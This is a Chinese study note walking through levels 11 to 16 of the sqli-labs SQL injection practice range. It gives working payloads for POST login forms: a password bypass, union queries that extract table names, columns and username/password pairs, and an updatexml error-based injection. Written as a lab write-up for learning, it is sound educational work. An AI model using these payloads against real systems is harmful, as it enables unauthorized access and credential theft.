sqli-labs靶场通关笔记:第11-16关 POST请求注入
第11关 POST请求联合注入
一、审题
这一关开始变成了登录框输入,也就是post请求的表单提交。前十关都是get请求方式,可以直接在url栏中注入,这里的注入点换成了登录框。
二、思考
这里输入1'会显示报错,可以判断出是单引号闭合。
我们仔细观察报错信息,MySQL 指出错误发生在查询的 '1'' and password='' LIMIT 0,1 部分附近,那么来推测一下原始的查询语句,可能是:
SELECT * FROM users WHERE username = '$uname' and password = '$passwd' LIMIT 0,1
假设在username框中输入1' or 1=1 #来尝试把后面的密码验证注释掉,看看是否能登录成功。
这里使用#注释符是因为post请求会完整传输,无需编码处理。
可以看到这里绕过密码,登录成功,页面显示了用户名和密码。
接下来尝试用联合注入获取更多数据。
三、做法
1.获取数据库名;
-1' union select 1,database()#
2.获取表名;
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
3.获取字段名;
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
4.获取字段数据。
-1' union select 1,group_concat(username,'~',password) from users#
第12关 ")闭合的联合注入
第13关 ')闭合的报错注入
这里登录成功没有回显位,但是登录失败会有报错信息。可以使用之前学过的报错注入。
-1') and updatexml(1,concat(0x7e,(select database())),3)#
第14关 双引号闭合的报错注入
第15关 单引号闭合的布尔盲注
只有正确和错误两种页面回显,可以使用布尔盲注。
第16关 ")闭合的布尔盲注
这几关都是通过POST请求的方式注入,把前面的联合注入,报错注入,布尔盲注又复习了一遍。